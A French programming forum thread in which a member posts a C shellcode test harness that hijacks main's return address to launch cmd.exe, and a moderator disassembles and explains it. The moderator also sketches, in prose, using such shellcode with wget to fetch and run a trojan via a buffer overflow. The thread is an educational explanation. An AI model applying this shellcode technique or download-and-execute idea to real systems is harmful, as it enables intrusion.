Explication d'un exploit

dyroj Messages postés 123 Date d'inscription vendredi 14 novembre 2008 Statut Membre Dernière intervention 18 juin 2012 - 25 mars 2009 à 15:50
dyroj Messages postés 123 Date d'inscription vendredi 14 novembre 2008 Statut Membre Dernière intervention 18 juin 2012 - 26 mars 2009 à 14:02
salut a tous,
je voudrais qu'on mexplique a quoi sert cette exploit, j'ai bien compri qu'il execute un shell mais je pourai faire la meme chose avec : system("cmd.exe");.

exploit:

#include <stdlib.h>
#include <string.h>
unsigned char shellcode[] =
"\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
"\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
"\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

++

9 réponses

BunoCS Messages postés 15476 Date d'inscription lundi 11 juillet 2005 Statut Modérateur Dernière intervention 3 mai 2024 103
25 mars 2009 à 16:49
Hello,
Pas d'exploit là dedans: ce code affiche juste la longueur de la chaine shellcode, c'est tout...

@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...
0
dyroj Messages postés 123 Date d'inscription vendredi 14 novembre 2008 Statut Membre Dernière intervention 18 juin 2012
25 mars 2009 à 18:04
et sa alors : (*ret)=(int)shellcode;
il mais bien le shell code en memoir pour quil soit executer a la prochaine instruction, qui affichera un shell 'cmd.exe'
++
0
cs_rt15 Messages postés 3874 Date d'inscription mardi 8 mars 2005 Statut Modérateur Dernière intervention 7 novembre 2014 13
25 mars 2009 à 20:08
Salut,

7c911230 b8ffefffff       mov     eax,0xffffefff
7c911235 f7d0             not     eax
7c911237 2be0             sub     esp,eax
7c911239 55               push    ebp
7c91123a 8bec             mov     ebp,esp
7c91123c 33ff             xor     edi,edi
7c91123e 57               push    edi
7c91123f 83ec04           sub     esp,0x4
7c911242 c645f863         mov     byte ptr [ebp-0x8],0x63
7c911246 c645f96d         mov     byte ptr [ebp-0x7],0x6d
7c91124a c645fa64         mov     byte ptr [ebp-0x6],0x64
7c91124e c645fb2e         mov     byte ptr [ebp-0x5],0x2e
7c911252 c645fc65         mov     byte ptr [ebp-0x4],0x65
7c911256 c645fd78         mov     byte ptr [ebp-0x3],0x78
7c91125a c645fe65         mov     byte ptr [ebp-0x2],0x65
7c91125e 8d45f8           lea     eax,[ebp-0x8]
7c911261 50               push    eax
7c911262 bbc793bf77       mov     ebx,0x77bf93c7
7c911267 ffd3             call    ebx

Sachant que 0x77bf93c7 est l'adresse de la fonction system de la dll msvcrt.dll de mon XP. Drôle de coincidence !

La partie hexa est un shellcode. C'est un bout de code utilisé lors d'un exploit. Globalement, lors d'un exploit, on s'arrange pour exécuter du code, le shell code, alors qu'on ne devrait pas avoir le droit de le faire.

Un shell code sert généralement à prendre la main sur la machine cible, ou à exécuter du code avec des droits particuliers.

Un shell code est difficile à écrire car il y a souvent des contraintes fortes : portabilité, capacité à s'exécuter à n'importe quelle adresse, taille réduite...

Dans ton cas, la partie C sert à mettre l'adresse de ton shell code comme valeur de retour après exécution de la fonction main. La pile est comme suit ;

adresse de retour
ebp
ret

Donc pour faire pointer ret sur l'adresse de retour, on retire deux par rapport à son adresse. C'est assez tordu.

En fin de main, on exécute donc le shell code -> on exécute du code qui ne devrait pas -> on fait un exploit.

Cet exploit n'a aucun intérêt si ce n'est didactique et démonstratif.
0
cs_rt15 Messages postés 3874 Date d'inscription mardi 8 mars 2005 Statut Modérateur Dernière intervention 7 novembre 2014 13
25 mars 2009 à 20:10
<strike>on retire deux

</strike>On ajoute deux. La pile croît suivant les adresses décroissantes.
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
dyroj Messages postés 123 Date d'inscription vendredi 14 novembre 2008 Statut Membre Dernière intervention 18 juin 2012
25 mars 2009 à 20:32
merci pour la reponce,
mais a quoi sert un exploit qui exploite un programme comme msn si se nest que pour ouvrir cmd.
++
0
cs_rt15 Messages postés 3874 Date d'inscription mardi 8 mars 2005 Statut Modérateur Dernière intervention 7 novembre 2014 13
26 mars 2009 à 11:16
Ouvrir cmd.exe sur une machine distante n'a effectivement aucun intérêt...

Mais avec un code similaire, sous un Linux par exemple, en appelant system, on peut remplacer cmd.exe par une ligne de commande qui télécharge (Via la commande wget) un binaire et l'exécute. Ce binaire peut par exemple être un trojan permettant de prendre la main sur la machine cible.
0
dyroj Messages postés 123 Date d'inscription vendredi 14 novembre 2008 Statut Membre Dernière intervention 18 juin 2012
26 mars 2009 à 12:35
je voi javai pas pencer a sa, mais il y a un ik comment peut-on executer notre shellcode sur une machin distante sans intervenir physiquement?
++
0
cs_rt15 Messages postés 3874 Date d'inscription mardi 8 mars 2005 Statut Modérateur Dernière intervention 7 novembre 2014 13
26 mars 2009 à 13:46
Il faut exploiter une faille, de type stack buffer overflow par exemple.

Cela dit, ce n'est pas un sujet à évoquer sur cppfrance :

10. On ne pose pas de question en rapport avec virus, crack, hack, trojan etc...
0
dyroj Messages postés 123 Date d'inscription vendredi 14 novembre 2008 Statut Membre Dernière intervention 18 juin 2012
26 mars 2009 à 14:02
ok merci comme meme pour ton aide a ++
0
Rejoignez-nous